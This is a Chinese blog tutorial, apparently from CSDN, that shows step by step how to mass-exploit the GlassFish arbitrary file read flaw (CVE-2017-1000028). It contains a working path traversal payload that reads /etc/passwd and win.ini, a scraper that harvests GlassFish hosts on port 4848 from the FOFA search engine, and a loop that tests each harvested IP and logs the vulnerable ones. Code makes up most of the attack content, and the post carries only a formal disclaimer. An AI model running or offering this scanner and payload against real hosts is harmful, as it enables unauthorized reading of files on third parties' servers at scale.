Python 渗透测试:漏洞的批量搜索与利用.(GlassFish 任意文件读取)

简介: Python 渗透测试:漏洞的批量搜索与利用.(GlassFish 任意文件读取)

目录:
Python 开发学习的意义:

测试漏洞是否存在的步骤:

(1)应用服务器 GlassFish 任意文件读取 漏洞.

(2)批量搜索漏洞.(GlassFish 任意文件读取(CVE-2017-1000028))

(3)漏洞的利用.(GlassFish 任意文件读取(CVE-2017-1000028))

(4)漏洞的利用.

Python 开发学习的意义:
(1)学习相关安全工具原理.
(2)掌握自定义工具及拓展开发解决实战中无工具或手工麻烦批量化等情况.
(3)在二次开发 Bypass,日常任务,批量测试利用等方面均有帮助.
免责声明:
严禁利用本文章中所提到的工具和技术进行非法攻击,否则后果自负,上传者不承担任何责任。

测试漏洞是否存在的步骤:
(1)应用服务器 GlassFish 任意文件读取 漏洞.

测试应用服务器glassfish任意文件读取漏洞.

import requests #调用requests模块

url="输入IP地址/域名" #下面这个二个是漏洞的payload
payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd' #检测linux系统的
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini' #检测windows系统
data_linux=requests.get(url+payload_linux).status_code #获取请求后的返回源代码,requests.get是网络爬虫,status_code是获取状态码
data_windows=requests.get(url+payload_windows).status_code #获取请求后的返回源代码,requests.get是网络爬虫,status_code是获取状态码
if data_windows==200 or data_linux==200: #200说明可以请求这个数据.则存在这个漏洞.
print("漏洞存在")
else:
print("漏洞不存在")
效果图:

(2)批量搜索漏洞.(GlassFish 任意文件读取(CVE-2017-1000028))
import base64
import requests
from lxml import etree
import time

(1)获取到可能存在漏洞的地址信息-借助Fofa进行获取目标.

(2)批量请求地址信息进行判断是否存在-单线程和多线程

search_data='"glassfish" && port="4848"' #这个是搜索的内容.
headers={ #要登录账号的Cookie.
'Cookie':'HMACCOUNT=52158546FBA65796;result_per_page=20' #请求20个.
}
for yeshu in range(1,11): #搜索前10页.
url='https://fofa.info/result?page='+str(yeshu)+'&qbase64=' #这个是链接的前面.
search_data_bs = str(base64.b64encode(search_data.encode("utf-8")), "utf-8") #对数据进行加密.
urls=url+search_data_bs
print('正在提取第'+str(yeshu)+'页') #打印正在提取第的页数.
try: #请求异常也执行.
result=requests.get(urls,headers=headers,timeout=1).content #requests.get请求url,请求的时候用这个headers=headers头(就是加入Cookie请求),请求延迟 timeout=1,content将结果打印出来.

    #print(result.decode('utf-8'))               #decode是编码.
    soup=etree.HTML(result)                     #把结果进行提取.(调用HTML类对HTML文本进行初始化,成功构造XPath解析对象,同时可以自动修正HMTL文本)
    ip_data=soup.xpath('//a[@target="_blank"]/@href')          #也就是爬虫自己要的数据 ,提取a标签,后面为@target="_blank"的href值也就是IP地址.
    #print(ip_data)
    ipdata='\n'.join(ip_data)               #.join(): 连接字符串数组。将字符串、元组、列表中的元素以指定的字符(分隔符)连接生成一个新的字符串
    print(ip_data)
    with open(r'ip.txt','a+') as f:         #打开一个文件(ip.txt),f是定义的名.
        f.write(ipdata+'\n')                #将ipdata的数据写进去,然后换行.
        f.close()                           #关闭.
except Exception as e:
    pass
    #执行后文件下面就会生成一个ip.txt文件.

效果图:

(3)漏洞的利用.(GlassFish 任意文件读取(CVE-2017-1000028))
import requests
import time

payload_linux='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd'
payload_windows='/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini'

for ip in open('ip.txt'): #打开ip.txt文件
ip=ip.replace('\n','') #替换换行符 为空.
windows_url=ip+payload_windows #请求windows
linux_url=ip+payload_linux #请求linux

#print(windows_url)
#print(linux_url)
try:
    print(ip)
    result_code_linux=requests.get(windows_url).status_code                #请求linux
    result_code_windows=requests.get(linux_url).status_code              #请求windows
    print("chrck->" +ip)            #打印在检测哪一个IP地址.
    if result_code_linux==200 or result_code_windows==200:
        with open(r'result.txt','a+') as f:           #写入result.txt文件.
            f.write(ip)                 #如果有漏洞就写入ip.

    time.sleep(5)
except Exception as e:
    pass

效果图:

(4)漏洞的利用.

学习链接:2021小迪渗透测试/网络安全工程师全套(从入门到就业)_哔哩哔哩_bilibili

文章知识点与官方知识档案匹配,可进一步学习相关知识
Python入门技能树首页概览442099 人正在系统学习中
————————————————

                        版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。

原文链接:https://blog.csdn.net/weixin_54977781/article/details/124834139

目录
相关文章
|
2月前
|
测试技术 开发者 Python
Python单元测试入门:3个核心断言方法,帮你快速定位代码bug
本文介绍Python单元测试基础,详解`unittest`框架中的三大核心断言方法:`assertEqual`验证值相等,`assertTrue`和`assertFalse`判断条件真假。通过实例演示其用法,帮助开发者自动化检测代码逻辑,提升测试效率与可靠性。
305 1
|
2月前
|
缓存 供应链 监控
1688item_search_factory - 按关键字搜索工厂数据接口深度分析及 Python 实现
item_search_factory接口专为B2B电商供应链优化设计,支持通过关键词精准检索工厂信息,涵盖资质、产能、地理位置等核心数据,助力企业高效开发货源、分析产业集群与评估供应商。
|
2月前
|
JSON 监控 数据格式
1688 item_search_app 关键字搜索商品接口深度分析及 Python 实现
1688开放平台item_search_app接口专为移动端优化,支持关键词搜索、多维度筛选与排序,可获取商品详情及供应商信息,适用于货源采集、价格监控与竞品分析,助力采购决策。
|
3月前
|
缓存 API 网络架构
淘宝item_search_similar - 搜索相似的商品API接口,用python返回数据
淘宝联盟开放平台中,可通过“物料优选接口”(taobao.tbk.dg.optimus.material)实现“搜索相似商品”功能。该接口支持根据商品 ID 获取相似推荐商品,并返回商品信息、价格、优惠等数据,适用于商品推荐、比价等场景。本文提供基于 Python 的实现示例,包含接口调用、数据解析及结果展示。使用时需配置淘宝联盟的 appkey、appsecret 和 adzone_id,并注意接口调用频率限制和使用规范。
|
2月前
|
缓存 供应链 监控
VVIC seller_search 排行榜搜索接口深度分析及 Python 实现
VVIC搜款网seller_search接口提供服装批发市场的商品及商家排行榜数据,涵盖热销榜、销量排名、类目趋势等,支持多维度筛选与数据分析,助力选品决策、竞品分析与市场预测,为服装供应链提供有力数据支撑。
|
2月前
|
缓存 监控 算法
唯品会item_search - 按关键字搜索 VIP 商品接口深度分析及 Python 实现
唯品会item_search接口支持通过关键词、分类、价格等条件检索商品,广泛应用于电商数据分析、竞品监控与市场调研。结合Python可实现搜索、分析、可视化及数据导出,助力精准决策。
|
2月前
|
安全 NoSQL Shell
web渗透-SSRF漏洞及discuz论坛网站测试
SSRF(服务器端请求伪造)是一种安全漏洞,攻击者可诱使服务端发起任意请求,进而探测或攻击内网系统。常用于端口扫描、访问内部服务、读取本地文件等。常见防御包括限制协议、域名和IP,但可通过302跳转、短地址等方式绕过。
210 1
web渗透-SSRF漏洞及discuz论坛网站测试
|
3月前
|
机器学习/深度学习 算法 文件存储
神经架构搜索NAS详解:三种核心算法原理与Python实战代码
神经架构搜索(NAS)正被广泛应用于大模型及语言/视觉模型设计,如LangVision-LoRA-NAS、Jet-Nemotron等。本文回顾NAS核心技术,解析其自动化设计原理,探讨强化学习、进化算法与梯度方法的应用与差异,揭示NAS在大模型时代的潜力与挑战。
777 6
神经架构搜索NAS详解:三种核心算法原理与Python实战代码
|
3月前
|
运维 Linux 开发者
Linux系统中使用Python的ping3库进行网络连通性测试
以上步骤展示了如何利用 Python 的 `ping3` 库来检测网络连通性,并且提供了基本错误处理方法以确保程序能够优雅地处理各种意外情形。通过简洁明快、易读易懂、实操性强等特点使得该方法非常适合开发者或系统管理员快速集成至自动化工具链之内进行日常运维任务之需求满足。
219 18

推荐镜像

更多